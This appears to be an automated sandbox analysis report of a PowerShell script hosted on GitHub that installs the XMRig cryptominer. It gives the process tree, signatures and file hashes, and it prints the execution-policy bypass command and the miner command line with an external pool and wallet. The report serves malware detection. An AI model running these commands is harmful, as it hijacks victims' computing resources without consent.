Resubmissions

12/07/2024, 23:12

240712-268lhaxbqf 10

12/07/2024, 23:12

240712-26xh8svcrm 6

12/07/2024, 21:39

240712-1hzs1s1enj 10

Analysis

  • max time kernel
    1634s
  • max time network
    1785s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240709-en
  • resource tags

    arch:x64arch:x86image:win11-20240709-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    12/07/2024, 23:12

General

  • Target

    https://github.com/monoxzyco/xmrig-scripts/raw/main/windows.ps1

Score
10/10

Malware Config

Signatures

  • XMRig Miner payload 2 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in System32 directory 22 IoCs
  • Drops file in Windows directory 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 35 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 33 IoCs
  • Suspicious use of SendNotifyMessage 12 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/monoxzyco/xmrig-scripts/raw/main/windows.ps1
    1⤵
    • Drops file in Windows directory
    • Enumerates system info in registry
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2808
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.106 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff9de44cc40,0x7ff9de44cc4c,0x7ff9de44cc58
      2⤵
        PID:4748
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1780,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=1776 /prefetch:2
        2⤵
          PID:4596
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2056,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=2104 /prefetch:3
          2⤵
            PID:5052
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2172,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=2348 /prefetch:8
            2⤵
              PID:3172
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3080,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=3236 /prefetch:1
              2⤵
                PID:2028
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3092,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=3288 /prefetch:1
                2⤵
                  PID:3460
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4084,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=3276 /prefetch:1
                  2⤵
                    PID:1528
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4556,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=4564 /prefetch:8
                    2⤵
                      PID:3452
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4572,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=4576 /prefetch:8
                      2⤵
                      • Modifies registry class
                      • Suspicious use of SetWindowsHookEx
                      PID:3448
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4596,i,2312798746896706646,17380496069742237335,262144 --variations-seed-version=20240709-050124.519000 --mojo-platform-channel-handle=4728 /prefetch:8
                      2⤵
                        PID:3936
                    • C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe
                      "C:\Program Files\Google\Chrome\Application\123.0.6312.106\elevation_service.exe"
                      1⤵
                        PID:4268
                      • C:\Windows\system32\svchost.exe
                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                        1⤵
                          PID:2988
                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "-Command" "if((Get-ExecutionPolicy ) -ne 'AllSigned') { Set-ExecutionPolicy -Scope Process Bypass }; & 'C:\Users\Admin\Downloads\windows.ps1'"
                          1⤵
                          • Blocklisted process makes network request
                          • Drops file in System32 directory
                          • Command and Scripting Interpreter: PowerShell
                          • Suspicious behavior: EnumeratesProcesses
                          PID:244
                          • C:\Windows\system32\xmrig\xmrig-6.21.3\xmrig.exe
                            "C:\Windows\system32\xmrig\xmrig-6.21.3\xmrig.exe" -o xmrpool.eu:3333 -u 88tYpqdgCC1da3kLmaVyZhEUndHhuTQH2d1wnA7uPKLHaA5Ri9tU8pmR7SMuhR7emSDLRYnjUkTouQDkU4jr8UFwJawxoxs --cpu-priority 8
                            2⤵
                            • Executes dropped EXE
                            • Suspicious use of FindShellTrayWindow
                            PID:1608

                        Network

                        MITRE ATT&CK Enterprise v15

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

                          Filesize

                          2KB

                          MD5

                          4b20a6ff6de7e3a79ff85dd5a534e4c2

                          SHA1

                          db69fab247a237770c6ca5bd916818f173cea056

                          SHA256

                          f0ea68c6fa242bbbcd94813d0a8cb9310401429503c93e0c21fead8182d0eb05

                          SHA512

                          42bf1c2ad935546a218ef63e2d69e91e012a7bcbef5c04e7d4555d786a151af560441300592fc8cce606f4782ca006447ed1958ee987b7ae834a86e867a08a2b

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

                          Filesize

                          2B

                          MD5

                          d751713988987e9331980363e24189ce

                          SHA1

                          97d170e1550eee4afc0af065b78cda302a97674c

                          SHA256

                          4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

                          SHA512

                          b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

                          Filesize

                          691B

                          MD5

                          530303e0aaa6ae6ccbc542e7a1635253

                          SHA1

                          8d650d8b171369feda2e97b6af8578008cc06c00

                          SHA256

                          2c91ca9521a4438c0595532d33e2d752a3192f9f28122ad9c40fdffb0c301de6

                          SHA512

                          e1cad7e56d0c14d4d814043ed4906e8546285da6a760e87f4851d3b5a8547e74a5ef04e2a5c253323711b4b7846d143ea2c6a9519aff7c044f58f15b2657e7e8

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          9KB

                          MD5

                          64ad3a0ad5b2eea576d98a586fb6e829

                          SHA1

                          1eda0b04584e7ce3c6464d5dc3493aaae302dda8

                          SHA256

                          f7f8660177e0a6dd3cd286b489706c044023381d96a35f81bbbc6d8d794a4105

                          SHA512

                          07226f47e19fc57ec1df203850a070098216d355ccaa38950798636e93289358595823ff1fe781a760f0152f294e3336b7a3bb01f211f48a129e96193f408e5a

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          8KB

                          MD5

                          47e7c35056d0180df83e0a805d1ed02b

                          SHA1

                          aba44aa5bd823c88d4cf43efb4573a67abdcdbb2

                          SHA256

                          cc83155da7644d5b82f9087530b43c195b52c57a233438eaa08907c9d3e4eaf4

                          SHA512

                          71fee197290453c1b714c453b761500aab98a4e8dca98cdaad764a1ff3d0f7961d57df926e3f5b984b308dd418a4c47606c3bac84431aa5b6a0c1ab14c9dcc98

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

                          Filesize

                          8KB

                          MD5

                          614c4f4b3a640340e3a69bb02389d3c9

                          SHA1

                          7e3f9f4c4cc6a9927ead27b40858938eb5b312ce

                          SHA256

                          051334dc69f0174b2f56f900028b8e29b6284817b25ed065038eeea68b124226

                          SHA512

                          9c46ce1300bcccc6bce389b547fa6a7b853553dcdd39c6150d9a438b16e138b50febbd7149419f8d800d0b56a07310cb43ae249b7064be0e3a2ef2d5024aeeca

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                          Filesize

                          92KB

                          MD5

                          d15edd530cbfa228610e65ee819e59ea

                          SHA1

                          41a552162da898083290e91ef00631f83f812165

                          SHA256

                          374cb321774db1ed3876c55b97b71b6c79c9ebeaa898e911bb6ed76861c09e93

                          SHA512

                          a4c3da88a0af23dbe993408b22eb563302ecae2352aa0779a324038193e5233513f5e38c2f08305b38418ab93c85395c3b54f1636da52dffb5d87ab524076d4b

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                          Filesize

                          92KB

                          MD5

                          8fe9cf8fb788afa1a3c0cb2b83b373e1

                          SHA1

                          1d0459e83684fb7552fdb31e672a325c11b412e7

                          SHA256

                          1c0de7e8269632ab0d72849e767393ab40be30719725e6cf17c0e0d799188a0a

                          SHA512

                          ff06c8ad8bc98bdb32a45b53454a9a07f4dabd60871b8fe5721bcad27ea882641183dc896166de16634f60d45459ae892a9f794f4b4dae02563e4b2dd2f486a4

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State

                          Filesize

                          92KB

                          MD5

                          c6a8f09b67e1a69520f3df931763a315

                          SHA1

                          693b276598fc402574d675ccad18acd2a0c8eb78

                          SHA256

                          b74533c4f31bf24971d65d881788eff4406216332c46883cc6654f34a02529bd

                          SHA512

                          ececf65f12aeaf38ea25462bb7aca11e91224158a3a9265a59ce0fc4da6b196337c107d10cc1efc6240ac4d2757620c9252e8b081c12f1a4920027d1f25933d6

                        • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ShaderCache\data_1

                          Filesize

                          264KB

                          MD5

                          e95ca382d4ebe90d582cbfc25097500b

                          SHA1

                          644442d9fc49ac3af91ff2142f4d5fd5f766557c

                          SHA256

                          211f599fea95fcd9df6d9bb86255a97e05294b4364963695dd459db979b245eb

                          SHA512

                          553a55fbc033c4911d3a61c0d22fe71cd00f46684caf089cb1e0596a99eb2cbd22c0e23c9cf720e88eb77dc21774bd8a0e982bbf1921f90a03d3c127b83d782b

                        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hc2nt4v5.zal.ps1

                          Filesize

                          60B

                          MD5

                          d17fe0a3f47be24a6453e9ef58c94641

                          SHA1

                          6ab83620379fc69f80c0242105ddffd7d98d5d9d

                          SHA256

                          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                          SHA512

                          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                        • C:\Users\Admin\Downloads\windows.ps1

                          Filesize

                          321B

                          MD5

                          fbbad21c54e05af6deb8f2a0fcdd7a2c

                          SHA1

                          2a53ecf9249d4d9f00af128583a29b6512050cc7

                          SHA256

                          827b3d0c432d8a958eec33235ebfeea1582ca37b0b530956197bc281459d4b84

                          SHA512

                          8883f06b3dfb49e82c5da718ba495036741589052af0aba9ee143677d6b2e91554ee17364299845a42f915ea7ea6b4096013680985fb2d77d4a0952b23007b3c

                        • C:\Windows\System32\xmrig\xmrig-6.21.3\xmrig.exe

                          Filesize

                          6.1MB

                          MD5

                          c0f8959614ae06561216158d78a787e5

                          SHA1

                          73167d1fd0cee1c96a6505606d21cbfe4369eb00

                          SHA256

                          e199d88569fb54346d5fa20ee7b59b2ea6f16f4ecca3ea1e1c937b11aab7b2b0

                          SHA512

                          a24fcf344d08c64ac301d5e4979f062b5e28e8e4acf1d2790916149ffe7726b0c4a11e0775aeba6b841d2d5081e1bd13e2b80390bf9bfbc44d67e54ec07cd746

                        • memory/244-164-0x00007FF9CC2E3000-0x00007FF9CC2E5000-memory.dmp

                          Filesize

                          8KB

                        • memory/244-175-0x00007FF9CC2E0000-0x00007FF9CCDA2000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/244-176-0x00007FF9CC2E0000-0x00007FF9CCDA2000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/244-177-0x00007FF9CC2E0000-0x00007FF9CCDA2000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/244-179-0x000001F26A3A0000-0x000001F26A3B2000-memory.dmp

                          Filesize

                          72KB

                        • memory/244-180-0x000001F26A390000-0x000001F26A39A000-memory.dmp

                          Filesize

                          40KB

                        • memory/244-165-0x000001F269E90000-0x000001F269EB2000-memory.dmp

                          Filesize

                          136KB

                        • memory/244-208-0x00007FF9CC2E0000-0x00007FF9CCDA2000-memory.dmp

                          Filesize

                          10.8MB

                        • memory/244-209-0x00007FF9CC2E3000-0x00007FF9CC2E5000-memory.dmp

                          Filesize

                          8KB

                        • memory/1608-207-0x000001F1BF080000-0x000001F1BF0A0000-memory.dmp

                          Filesize

                          128KB